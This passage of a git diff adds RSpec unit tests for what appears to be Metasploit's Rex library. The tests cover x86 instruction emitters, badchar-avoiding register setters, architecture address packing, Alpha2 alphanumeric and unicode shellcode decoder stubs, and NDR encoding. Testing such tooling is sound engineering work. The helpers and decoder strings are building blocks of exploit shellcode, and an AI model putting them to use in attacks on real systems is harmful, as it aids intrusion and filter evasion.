+ it "raises error" do + expect { subject }.to raise_error(NoMethodError) + end + end + + context "when amount argument isn't set" do + subject { described_class.dword_adjust(dword) } + let(:dword) { "\xff\xff\xff\xff"} + + it "returns the same dword packed" do + is_expected.to eq("\xff\xff\xff\xff") + end + end + + context "when amount argument is set" do + subject { described_class.dword_adjust(dword, amount) } + + context "and doesn't overflow" do + let(:dword) { "\x41\x42\x43\x44" } + let(:amount) { 2 } + + it "returns the incremented dword packed" do + is_expected.to eq("\x43\x42\x43\x44") + end + end + + context "and overflows" do + let(:dword) { "\xff\xff\xff\xff" } + let(:amount) { 1 } + + it "truncates" do + is_expected.to eq("\x00\x00\x00\x00") + end + end + end + end + + describe ".searcher" do + subject { described_class.searcher(tag) } + + context "when tag is between '\\x00\\x00\\x00\\x00' and '\\xff\\xff\\xff\\xff'" do + let(:signature) do + "\x39\x37\x75\xfb\x46" + end + + let(:tag) do + [0x41424344].pack("V") + end + + it "returns the searcher routine" do + is_expected.to include(signature) + end + end + + context "when tag is '\\x00\\x00\\x00\\x00'" do + let(:tag) do + [0x00000000].pack("V") + end + + let(:signature) do + "\xbe\xff\xff\xff\xff" + end + + it "initializes an underflowed esi" do + is_expected.to include(signature) + end + end + end + + describe ".push_dword" do + subject { described_class.push_dword(val) } + let(:val) { 0x41424344 } + it "returns a push dword instruction" do + is_expected.to eq("\x68\x44\x43\x42\x41") + end + end + + describe ".copy_to_stack" do + subject { described_class.copy_to_stack(len) } + + context "when len argument is four byte aligned" do + let(:len) { 4 } + it "returns 'copy_to_stack' snippet" do + is_expected.to include("\xeb\x0f\x68\x04\x00\x00\x00") + end + end + + context "when len argument isn't four byte aligned" do + let(:len) { 3 } + it "returns snippet with len aligned" do + is_expected.to include("\xeb\x0f\x68\x04\x00\x00\x00") + end + end + end + + describe ".jmp_short" do + subject { described_class.jmp_short(addr) } + + context "when addr is number" do + context "one byte length" do + let(:addr) { 0x00 } + it "returns the jmp instr to the addr" do + is_expected.to eq("\xeb\x00") + end + end + + context "> one byte length" do + let(:addr) { 0x4142 } + it "returns the jmp instr to the addr truncated" do + is_expected.to eq("\xeb\x42") + end + end + end + + context "when addr is string" do + context "starting with $+" do + let(:addr) { "$+4" } + it { is_expected.to eq("\xeb\x2") } + end + + context "$+" do + let(:addr) { "$+" } + it { is_expected.to eq("\xeb\xfe") } + end + + context "starting with $-" do + let(:addr) { "$-2" } + it { is_expected.to eq("\xeb\xfc") } + end + + context "$-" do + let(:addr) { "$-" } + it { is_expected.to eq("\xeb\xfe") } + end + + context "starting with 0x" do + let(:addr) { "0x41" } + it { is_expected.to eq("\xeb\x3f") } + end + + context "0x" do + let(:addr) { "0x" } + it { is_expected.to eq("\xeb\xfe") } + end + + context "with a two bytes number" do + let(:addr) { "0x4142" } + it "truncates" do + is_expected.to eq("\xeb\x40") + end + end + + context "starting in another way" do + let(:addr) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + end + end + + describe ".call" do + subject { described_class.call(addr) } + + context "addr is number" do + let(:addr) { 0x41424344 } + it { is_expected.to eq("\xE8\x44\x43\x42\x41") } + end + + context "addr is string" do + context "starting with $+" do + let(:addr) { "$+200" } + it { is_expected.to eq("\xe8\xc3\x00\x00\x00") } + end + + context "$+" do + let(:addr) { "$+" } + it { is_expected.to eq("\xe8\xfb\xff\xff\xff") } + end + + context "starting with $-" do + let(:addr) { "$-20" } + it { is_expected.to eq("\xe8\xe7\xff\xff\xff") } + end + + context "$-" do + let(:addr) { "$-" } + it { is_expected.to eq("\xe8\xfb\xff\xff\xff") } + end + + context "starting with 0x" do + let(:addr) { "0x41424344" } + it { is_expected.to eq("\xe8\x3f\x43\x42\x41") } + end + + context "0x" do + let(:addr) { "0x" } + it { is_expected.to eq("\xe8\xfb\xff\xff\xff") } + end + + context "starting in another way" do + let(:addr) { "20" } + it "raises error" do + expect { subject }.to raise_error(TypeError) + end + end + end + end + + describe ".reg_name32" do + subject { described_class.reg_name32(num) } + + context "when reg id is valid" do + let(:num) { rand(7) } + it { is_expected.to be_an(String) } + end + + context "when reg id isn't valid" do + let(:num) { 29 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + end + + describe ".encode_effective" do + subject { described_class.encode_effective(shift, reg) } + + let(:shift) { 0 } + let(:reg) { Rex::Arch::X86::ECX } + + it "encodes the effective value for a register" do + is_expected.to eq(0xc0 | (shift << 3) | reg) + end + end + + describe ".encode_modrm" do + subject { described_class.encode_modrm(dst, src) } + + context "when dst is an invalid register" do + let(:dst) { 31337 } + let(:src) { Rex::Arch::X86::ECX } + it { expect { subject }.to raise_error(ArgumentError) } + end + + context "when src is an invalid register" do + let(:dst) { Rex::Arch::X86::ECX } + let(:src) { 31337 } + it { expect { subject }.to raise_error(ArgumentError) } + end + + context "when dst and src are valid registers" do + let(:dst) { Rex::Arch::X86::ECX } + let(:src) { Rex::Arch::X86::EAX } + it "generates the mod r/m character" do + is_expected.to eq((0xc8).chr) + end + end + end + + describe ".push_byte" do + subject { described_class.push_byte(byte) } + + context "when byte is out of range" do + let(:byte) { 0x100 } + it { expect { subject }.to raise_error(::ArgumentError) } + end + + context "when byte is in range" do + let(:byte) { 127 } + it "generates correct instruction" do + is_expected.to eq("\x6a\x7f") + end + end + end + + describe ".push_word" do + subject { described_class.push_word(val) } + + context "when val is a word" do + let(:val) { 0x4142 } + it "generates push instruction" do + is_expected.to eq("\x66\x68\x42\x41") + end + end + + context "when val is bigger than word" do + let(:val) { 0x41424344 } + it "generates push instruction with val truncated" do + is_expected.to eq("\x66\x68\x44\x43") + end + end + end + + describe ".push_dword" do + subject { described_class.push_dword(val) } + + context "when val is a dword" do + let(:val) { 0x41424344 } + it "generates push instruction" do + is_expected.to eq("\x68\x44\x43\x42\x41") + end + end + + context "when val is bigger than dword" do + let(:val) { 0x100000000 } + it "generates push instruction with val truncated" do + is_expected.to eq("\x68\x00\x00\x00\x00") + end + end + end + + describe ".pop_dword" do + subject { described_class.pop_dword(reg) } + + context "when reg is invalid" do + let(:reg) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "reg is valid" do + let(:reg) { Rex::Arch::X86::ECX } + it "generates pop instruction" do + is_expected.to eq("\x59") + end + end + end + + describe ".clear" do + subject { described_class.clear(reg, badchars) } + let(:reg) { Rex::Arch::X86::ECX } + let(:badchars) { '' } + + it "returns a clear instruction" do + expect(subject).to be_an(String) + end + + context "when reg is invalid" do + let(:reg) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when too many badchars" do + let(:badchars) { (0x00..0xff).to_a.pack("C*") } + it "raises an error" do + expect { subject }.to raise_error(RuntimeError) + end + end + end + + + describe ".mov_byte" do + subject { described_class.mov_byte(reg, val) } + let(:reg) { Rex::Arch::X86::ECX } + let(:val) { 3 } + + it "generates a mov instruction" do + is_expected.to eq("\xb1\x03") + end + + context "when reg is invalid" do + let(:reg) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when val is out of range" do + let(:val) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(RangeError) + end + end + end + + describe ".mov_word" do + subject { described_class.mov_word(reg, val) } + + let(:reg) { Rex::Arch::X86::ECX } + let(:val) { 0x4142 } + + it "generates a mov instruction" do + is_expected.to eq("\x66\xb9\x42\x41") + end + + context "when reg is invalid" do + let(:reg) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when val is out of range" do + let(:val) { 0x41424344 } + it "raises an error" do + expect { subject }.to raise_error(RangeError) + end + end + end + + + describe ".mov_dword" do + subject { described_class.mov_dword(reg, val) } + + let(:reg) { Rex::Arch::X86::ECX } + let(:val) { 0x41424344 } + it "generates a mov instruction" do + is_expected.to eq("\xb9\x44\x43\x42\x41") + end + + context "when reg is invalid" do + let(:reg) { 31337 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when val is out of range" do + let(:val) { 0x100000000 } + it "truncates value" do + is_expected.to eq("\xb9\x00\x00\x00\x00") + end + end + end + + describe ".set" do + subject { described_class.set(reg, val, badchars) } + + context "when reg is invalid" do + let(:reg) { 31337 } + let(:val) { 100 } + let(:badchars) { '' } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when val is 0" do + let(:reg) { Rex::Arch::X86::ECX } + let(:val) { 0 } + + context "when no badchars" do + let(:badchars) { '' } + it "uses xor/sub instructions" do + expect(subject.length).to eq(2) + end + end + + context "when xor/sub opcodes are badchars" do + let(:badchars) { "\x29\x2b\x31\x33" } + + it "uses push byte/pop instructions" do + expect(subject.length).to eq(3) + end + end + + context "when xor/sub/push byte opcodes are badchars" do + let(:badchars) { "\x29\x2b\x31\x33\x6a" } + + it "uses mov dword instruction" do + expect(subject.length).to eq(5) + end + end + + context "when xor/sub/push byte/mov dword opcodes are badchars" do + let(:badchars) { "\x29\x2b\x31\x33\x6a\xb9" } + + it "uses push dword / pop instructions" do + expect(subject.length).to eq(6) + end + end + + context "when xor/sub/push byte/mov dword opcodes/push dword are badchars" do + let(:badchars) { "\x29\x2b\x31\x33\x6a\xb9\x68" } + + it "uses clear / mov word instructions" do + expect { subject.length }.to raise_error(RuntimeError) + end + end + end + + context "when val isn't 0" do + let(:reg) { Rex::Arch::X86::ECX } + let(:val) { 75 } + + context "when no badchars" do + let(:badchars) { '' } + it "uses push byte/pop instructions" do + expect(subject.length).to eq(3) + end + end + + context "when push byte opcodes are badchars" do + let(:badchars) { "\x6a" } + + it "uses clear/mov byte instruction" do + expect(subject.length).to eq(4) + end + end + + context "when push byte/mov byte opcodes are badchars" do + let(:badchars) { "\x6a\xb1" } + + it "uses mov dword instruction" do + expect(subject.length).to eq(5) + end + end + + context "when push byte/mov byte/mov dword opcodes are badchars" do + let(:badchars) { "\x6a\xb1\xb9" } + + it "it uses push dword/pop dst instructions" do + expect(subject.length).to eq(6) + end + end + + context "when push byte/mov byte/mov dword/push dword opcodes are badchars" do + let(:badchars) { "\x6a\xb1\xb9\x68" } + + it "raises an error" do + expect { subject.length }.to raise_error(RuntimeError) + end + end + end + end + + describe ".sub" do + subject { described_class.sub(val, reg) } + + context "when reg is valid" do + let(:reg) { Rex::Arch::X86::ECX } + + context "when val is one byte" do + let(:val) { 0x08 } + it { is_expected.to include("\x83") } + end + + context "when val is bigger than one byte" do + let(:val) { 0x4142 } + it { is_expected.to include("\x81") } + end + + context "when there are too many badchars" do + subject(:with_badchars) { described_class.sub(val, reg, badchars) } + let(:val) { 0x08 } + let(:reg) { Rex::Arch::X86::ECX } + let(:badchars) { "\x81\x83" } + it { expect(with_badchars).to be_nil } + end + end + + context "when reg is invalid" do + let(:reg) { 31337 } + let(:val) { 0x7 } + it { expect {subject}.to raise_error } + end + + end + + describe ".add" do + subject { described_class.add(val, reg) } + + context "when reg is valid" do + let(:reg) { Rex::Arch::X86::ECX } + + context "when val is one byte" do + let(:val) { 0x08 } + it { is_expected.to include("\x83") } + end + + context "when val is bigger than one byte" do + let(:val) { 0x4142 } + it { is_expected.to include("\x81") } + end + + context "when there are too many badchars" do + subject(:with_badchars) { described_class.add(val, reg, badchars) } + let(:val) { 0x08 } + let(:reg) { Rex::Arch::X86::ECX } + let(:badchars) { "\x81\x83" } + it { expect(with_badchars).to be_nil } + end + end + + context "when reg is invalid" do + let(:reg) { 31337 } + let(:val) { 0x7 } + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + end + + describe ".adjust_reg" do + subject { described_class.adjust_reg(reg, adjustment) } + + context "when reg is invalid" do + let(:reg) { 31337 } + let(:adjustment) { 0x8 } + + it "raises an error" do + expect { subject }.to raise_error(ArgumentError) + end + end + + context "when adjustment is > 0" do + let(:reg) { Rex::Arch::X86::ECX } + let(:adjustment) { 0x8 } + + it { is_expected.to include("\x81") } + it { expect(subject.length).to eq(8) } + end + + context "when adjusmtent is <= 0" do + let(:reg) { Rex::Arch::X86::ECX } + let(:adjustment) { 0 } + + it { is_expected.to include("\x81") } + it { expect(subject.length).to eq(6) } + end + end + + describe ".geteip_fpu" do + subject { described_class.geteip_fpu(badchars) } + + context "when no badchars" do + let(:badchars) { '' } + + it "returns an Array" do + is_expected.to be_an Array + end + + it "returns the stub as first element" do + expect(subject[0]).to be_an String + end + + it "returns a register as second element" do + expect(subject[1]).to be_an String + end + + it "returns a register as third element" do + expect(subject[2]).to be_an Fixnum + end + end + + context "when too many badchars" do + let(:badchars) { (0x00..0xff).to_a.pack("C*") } + + it { is_expected.to be_nil } + end + end + +end diff --git a/spec/lib/rex/arch_spec.rb b/spec/lib/rex/arch_spec.rb new file mode 100644 index 0000000000..8f019df3f0 --- /dev/null +++ b/spec/lib/rex/arch_spec.rb @@ -0,0 +1,177 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/arch' + +describe Rex::Arch do + + describe ".adjust_stack_pointer" do + subject { described_class.adjust_stack_pointer(arch, adjustment) } + let(:adjustment) { 100 } + + context "when arch is ARCH_X86" do + let(:arch) { ARCH_X86 } + + it "emits an ESP adjustment instruction" do + is_expected.to be_a_kind_of(String) + end + end + + context "when arch isn't ARCH_X86" do + let(:arch) { ARCH_FIREFOX } + + it "returns nil" do + is_expected.to be_nil + end + end + + context "when arch is an array" do + let(:arch) { [ARCH_X86, ARCH_FIREFOX] } + + it "uses the first arch in the array" do + is_expected.to be_a_kind_of(String) + end + end + end + + describe ".pack_addr" do + subject { described_class.pack_addr(arch, addr) } + + context "when arch is ARCH_X86" do + let(:arch) { ARCH_X86 } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, little-endian" do + is_expected.to eq("DCBA") + end + end + + context "when arch is ARCH_X86_64" do + let(:arch) { ARCH_X86_64 } + let(:addr) { 0x4142434445464748 } + it "packs addr as 62-bit unsigned, little-endian" do + is_expected.to eq("HGFEDCBA") + end + end + + context "when arch is ARCH_X64" do + let(:arch) { ARCH_X64 } + let(:addr) { 0x4142434445464748 } + it "packs addr as 62-bit unsigned, little-endian" do + is_expected.to eq("HGFEDCBA") + end + end + + context "when arch is ARCH_MIPS" do + let(:arch) { ARCH_MIPS } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to eq("ABCD") + end + end + + context "when arch is ARCH_MIPSBE" do + let(:arch) { ARCH_MIPSBE } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to eq("ABCD") + end + end + + context "when arch is ARCH_MIPSLE" do + let(:arch) { ARCH_MIPSLE } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, little-endian" do + is_expected.to eq("DCBA") + end + end + + context "when arch is ARCH_PPC" do + let(:arch) { ARCH_PPC } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to eq("ABCD") + end + end + + context "when arch is ARCH_SPARC" do + let(:arch) { ARCH_SPARC } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to eq("ABCD") + end + end + + context "when arch is ARCH_ARMLE" do + let(:arch) { ARCH_ARMLE } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, little-endian" do + is_expected.to eq("DCBA") + end + end + + context "when arch is ARCH_ARMBE" do + let(:arch) { ARCH_ARMBE } + let(:addr) { 0x41424344 } + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to eq("ABCD") + end + end + + context "when arch is invalid" do + let(:arch) { ARCH_FIREFOX } + let(:addr) { 0x41424344 } + + it "packs addr as 32-bit unsigned, big-endian" do + is_expected.to be_nil + end + end + + context "when arch is an Array" do + let(:arch) { [ARCH_ARMLE, ARCH_ARMBE, ARCH_X86_64] } + let(:addr) { 0x41424344 } + it "packs addr using the first architecture in the array" do + is_expected.to eq("DCBA") + end + end + end + + describe ".endian" do + + let(:endianesses) do + { + ARCH_X86 => ENDIAN_LITTLE, + ARCH_X86_64 => ENDIAN_LITTLE, + ARCH_MIPS => ENDIAN_BIG, + ARCH_MIPSLE => ENDIAN_LITTLE, + ARCH_MIPSBE => ENDIAN_BIG, + ARCH_PPC => ENDIAN_BIG, + ARCH_SPARC => ENDIAN_BIG, + ARCH_ARMLE => ENDIAN_LITTLE, + ARCH_ARMBE => ENDIAN_BIG + } + end + subject { described_class.endian(arch) } + + context "when recognized arch" do + it "returns its endianess" do + endianesses.each_key do |arch| + expect(described_class.endian(arch)).to eq(endianesses[arch]) + end + end + end + + context "when not recognized arch" do + let(:arch) { ARCH_FIREFOX } + it "returns ENDIAN_LITTLE" do + is_expected.to eq(ENDIAN_LITTLE) + end + end + + context "when arch is an array" do + let(:arch) { [ARCH_X86, ARCH_MIPSBE] } + it "returns first arch endianess" do + is_expected.to eq(ENDIAN_LITTLE) + end + end + end +end diff --git a/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb b/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb new file mode 100644 index 0000000000..4f44000bc4 --- /dev/null +++ b/spec/lib/rex/encoder/alpha2/alpha_mixed_spec.rb @@ -0,0 +1,88 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/alpha2/alpha_mixed' + +describe Rex::Encoder::Alpha2::AlphaMixed do + + it_behaves_like 'Rex::Encoder::Alpha2::Generic' + + let(:decoder_stub) do + "jAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI" + end + + let(:reg_signature) do + { + 'EAX' => 'PY', + 'ECX' => 'I', + 'EDX' => '7RY', + 'EBX' => 'SY', + 'ESP' => 'TY', + 'EBP' => 'UY', + 'ESI' => 'VY', + 'EDI' => 'WY' + } + end + + describe ".gen_decoder_prefix" do + subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 5 } + + it "returns decoder prefix" do + is_expected.to include(reg_signature[reg]) + end + + context "when invalid reg name" do + let(:reg) { 'NON EXISTENT' } + let(:offset) { 0 } + + it "raises an error" do + expect { decoder_prefix }.to raise_error(ArgumentError) + end + end + + context "when offset is bigger than 32" do + let(:reg) { 'ECX' } + let(:offset) { 33 } + + it "raises an error" do + expect { decoder_prefix }.to raise_error + end + end + end + + + describe ".gen_decoder" do + subject(:decoder) { described_class.gen_decoder(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 5 } + + it "returns the alpha upper decoder" do + is_expected.to include(decoder_stub) + end + + it "uses the correct decoder prefix" do + is_expected.to include(reg_signature[reg]) + end + + context "when invalid reg name" do + let(:reg) { 'NON EXISTENT' } + let(:offset) { 0 } + + it "raises an error" do + expect { decoder }.to raise_error(ArgumentError) + end + end + + context "when offset is bigger than 32" do + let(:reg) { 'ECX' } + let(:offset) { 33 } + + it "raises an error" do + expect { decoder }.to raise_error + end + end + end + +end diff --git a/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb b/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb new file mode 100644 index 0000000000..41a63780ef --- /dev/null +++ b/spec/lib/rex/encoder/alpha2/alpha_upper_spec.rb @@ -0,0 +1,94 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/alpha2/alpha_upper' + +describe Rex::Encoder::Alpha2::AlphaUpper do + + it_behaves_like 'Rex::Encoder::Alpha2::Generic' + + let(:decoder_stub) do + "VTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJI" + end + + let(:reg_signature) do + { + 'EAX' => 'PY', + 'ECX' => 'I', + 'EDX' => 'RY', + 'EBX' => 'SY', + 'ESP' => 'TY', + 'EBP' => 'UY', + 'ESI' => 'VY', + 'EDI' => 'WY' + } + end + + describe ".default_accepted_chars" do + subject { described_class.default_accepted_chars } + + it { is_expected.to eq(('B' .. 'Z').to_a + ('0' .. '9').to_a) } + end + + describe ".gen_decoder_prefix" do + subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 5 } + + it "returns decoder prefix" do + is_expected.to include(reg_signature[reg]) + end + + context "when invalid reg name" do + let(:reg) { 'NON EXISTENT' } + let(:offset) { 0 } + + it "raises an error" do + expect { decoder_prefix }.to raise_error(ArgumentError) + end + end + + context "when offset is bigger than 20" do + let(:reg) { 'ECX' } + let(:offset) { 25 } + + it "raises an error" do + expect { decoder_prefix }.to raise_error + end + end + end + + + describe ".gen_decoder" do + subject(:decoder) { described_class.gen_decoder(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 5 } + + it "returns the alpha upper decoder" do + is_expected.to include(decoder_stub) + end + + it "uses the correct decoder prefix" do + is_expected.to include(reg_signature[reg]) + end + + context "when invalid reg name" do + let(:reg) { 'NON EXISTENT' } + let(:offset) { 0 } + + it "raises an error" do + expect { decoder }.to raise_error(ArgumentError) + end + end + + context "when offset is bigger than 20" do + let(:reg) { 'ECX' } + let(:offset) { 25 } + + it "raises an error" do + expect { decoder }.to raise_error + end + end + end + +end diff --git a/spec/lib/rex/encoder/alpha2/generic_spec.rb b/spec/lib/rex/encoder/alpha2/generic_spec.rb new file mode 100644 index 0000000000..60e24472ef --- /dev/null +++ b/spec/lib/rex/encoder/alpha2/generic_spec.rb @@ -0,0 +1,42 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/alpha2/generic' + +describe Rex::Encoder::Alpha2::Generic do + + it_behaves_like 'Rex::Encoder::Alpha2::Generic' + + describe ".default_accepted_chars" do + subject(:accepted_chars) { described_class.default_accepted_chars } + + it { is_expected.to eq(('a' .. 'z').to_a + ('B' .. 'Z').to_a + ('0' .. '9').to_a) } + end + + describe ".gen_decoder_prefix" do + subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 0 } + + it { is_expected.to eq('') } + end + + describe ".gen_decoder" do + subject(:decoder) { described_class.gen_decoder(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 0 } + + it { is_expected.to eq('') } + end + + describe ".gen_second" do + subject(:second) { described_class.gen_second(block, base) } + let(:block) { 0xaf } + let(:base) { 0xfa } + + it "returns block ^ base" do + expect(second ^ base).to eq(block) + end + end + +end diff --git a/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb b/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb new file mode 100644 index 0000000000..9ace965dd5 --- /dev/null +++ b/spec/lib/rex/encoder/alpha2/unicode_mixed_spec.rb @@ -0,0 +1,88 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/alpha2/unicode_mixed' + +describe Rex::Encoder::Alpha2::UnicodeMixed do + + it_behaves_like 'Rex::Encoder::Alpha2::Generic' + + let(:decoder_stub) do + "jXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB" + end + + let(:reg_signature) do + { + 'EAX' => 'PPYA', + 'ECX' => '4444', + 'EDX' => 'RRYA', + 'EBX' => 'SSYA', + 'ESP' => 'TUYA', + 'EBP' => 'UUYAs', + 'ESI' => 'VVYA', + 'EDI' => 'WWYA' + } + end + + describe ".gen_decoder_prefix" do + subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 5 } + + it "returns decoder prefix" do + is_expected.to include(reg_signature[reg]) + end + + context "when invalid reg name" do + let(:reg) { 'NON EXISTENT' } + let(:offset) { 0 } + + it "raises an error" do + expect { decoder_prefix }.to raise_error(RuntimeError) + end + end + + context "when offset is bigger than 21" do + let(:reg) { 'ECX' } + let(:offset) { 22 } + + it "raises an error" do + expect { decoder_prefix }.to raise_error + end + end + end + + + describe ".gen_decoder" do + subject(:decoder) { described_class.gen_decoder(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 5 } + + it "returns the alpha upper decoder" do + is_expected.to include(decoder_stub) + end + + it "uses the correct decoder prefix" do + is_expected.to include(reg_signature[reg]) + end + + context "when invalid reg name" do + let(:reg) { 'NON EXISTENT' } + let(:offset) { 0 } + + it "raises an error" do + expect { decoder }.to raise_error(RuntimeError) + end + end + + context "when offset is bigger than 21" do + let(:reg) { 'ECX' } + let(:offset) { 22 } + + it "raises an error" do + expect { decoder }.to raise_error + end + end + end + +end diff --git a/spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb b/spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb new file mode 100644 index 0000000000..29f80b7ee7 --- /dev/null +++ b/spec/lib/rex/encoder/alpha2/unicode_upper_spec.rb @@ -0,0 +1,94 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/alpha2/unicode_upper' + +describe Rex::Encoder::Alpha2::UnicodeUpper do + + it_behaves_like 'Rex::Encoder::Alpha2::Generic' + + let(:decoder_stub) do + "QATAXAZAPU3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB" + end + + let(:reg_signature) do + { + 'EAX' => 'PPYA', + 'ECX' => '4444', + 'EDX' => 'RRYA', + 'EBX' => 'SSYA', + 'ESP' => 'TUYA', + 'EBP' => 'UUYA', + 'ESI' => 'VVYA', + 'EDI' => 'WWYA' + } + end + + describe ".default_accepted_chars" do + subject(:accepted_chars) { described_class.default_accepted_chars } + + it { is_expected.to eq(('B' .. 'Z').to_a + ('0' .. '9').to_a) } + end + + describe ".gen_decoder_prefix" do + subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 5 } + + it "returns decoder prefix" do + is_expected.to include(reg_signature[reg]) + end + + context "when invalid reg name" do + let(:reg) { 'NON EXISTENT' } + let(:offset) { 0 } + + it "raises an error" do + expect(decoder_prefix).to be_nil + end + end + + context "when offset is bigger than 6" do + let(:reg) { 'ECX' } + let(:offset) { 7 } + + it "raises an error" do + expect { decoder_prefix }.to raise_error(RuntimeError) + end + end + end + + + describe ".gen_decoder" do + subject(:decoder) { described_class.gen_decoder(reg, offset) } + let(:reg) { 'ECX' } + let(:offset) { 5 } + + it "returns the alpha upper decoder" do + is_expected.to include(decoder_stub) + end + + it "uses the correct decoder prefix" do + is_expected.to include(reg_signature[reg]) + end + + context "when invalid reg name" do + let(:reg) { 'NON EXISTENT' } + let(:offset) { 0 } + + it "raises an error" do + expect { decoder }.to raise_error(NoMethodError) + end + end + + context "when offset is bigger than 6" do + let(:reg) { 'ECX' } + let(:offset) { 7 } + + it "raises an error" do + expect { decoder }.to raise_error(RuntimeError) + end + end + end + +end diff --git a/spec/lib/rex/encoder/ndr_spec.rb b/spec/lib/rex/encoder/ndr_spec.rb new file mode 100644 index 0000000000..57a1f60829 --- /dev/null +++ b/spec/lib/rex/encoder/ndr_spec.rb @@ -0,0 +1,169 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/encoder/ndr' + +describe Rex::Encoder::NDR do + + describe ".align" do + subject { described_class.align(string) } + + context "when empty string argument" do + let(:string) { "" } + it { is_expected.to eq("") } + end + + context "when 32bit aligned length argument" do + let(:string) { "A" * 4 } + it { is_expected.to eq("") } + end + + context "when 32bit unaligned length argument" do + let(:string) { "A" * 5 } + it "returns the padding, as null bytes, necessary to 32bit align the argument" do + is_expected.to eq("\x00\x00\x00") + end + end + end + + describe ".long" do + subject { described_class.long(string) } + let(:string) { 0x41424344 } + + it "encodes the arguments as 32-bit little-endian unsigned integer" do + is_expected.to eq("\x44\x43\x42\x41") + end + + context "when argument bigger than 32-bit unsigned integer" do + let(:string) { 0x4142434445 } + it "truncates the argument" do + is_expected.to eq("\x45\x44\x43\x42") + end + end + end + + describe ".short" do + subject { described_class.short(string) } + let(:string) { 0x4142 } + + it "encodes the arguments as 16-bit little-endian unsigned integer" do + is_expected.to eq("\x42\x41") + end + + context "when argument bigger than 16-bit unsigned integer" do + let(:string) { 0x41424344 } + it "truncates the argument" do + is_expected.to eq("\x44\x43") + end + end + + end + + describe ".byte" do + subject { described_class.byte(string) } + let(:string) { 0x41 } + + it "encodes the arguments as 8-bit unsigned integer" do + is_expected.to eq("\x41") + end + + context "when argument bigger than 8-bit unsigned integer" do + let(:string) { 0x4142 } + it "truncates the argument" do + is_expected.to eq("\x42") + end + end + + end + + describe ".UniConformantArray" do + subject { described_class.UniConformantArray(string) } + let(:string) { "ABCDE" } + + it "returns the encoded string" do + is_expected.to be_kind_of(String) + end + + it "starts encoding the string length as 32-bit little-endian unsigned integer" do + expect(subject.unpack("V").first).to eq(string.length) + end + + it "adds the string argument" do + is_expected.to include(string) + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 3) + end + end + + describe ".string" do + subject { described_class.string(string) } + let(:string) { "ABCD" } + + it "returns the encoded string" do + is_expected.to be_kind_of(String) + expect(subject.length).to eq(20) + end + + it "starts encoding string metadata" do + expect(subject.unpack("VVV")[0]).to eq(string.length) + expect(subject.unpack("VVV")[1]).to eq(0) + expect(subject.unpack("VVV")[2]).to eq(string.length) + end + + it "adds the string argument null-byte terminated" do + is_expected.to include("ABCD\x00") + end + + it "ends with padding to make result length 32-bits aligned" do + is_expected.to end_with("\x00" * 3) + end + end + + describe ".wstring" do + subject { described_class.wstring(string) } + + it_behaves_like "Rex::Encoder::NDR.wstring" + end + + describe ".UnicodeConformantVaryingString" do + subject { described_class.UnicodeConformantVaryingString(string) } + + it_behaves_like "Rex::Encoder::NDR.wstring" + end + + describe ".uwstring" do + subject { described_class.uwstring(string) } + + let(:string) { "ABCD" } + + it "encodes the argument as null-terminated unicode string" do + is_expected.to include("A\x00B\x00C\x00D\x00\x00\x00") + end + + it "starts encoding string metadata" do + 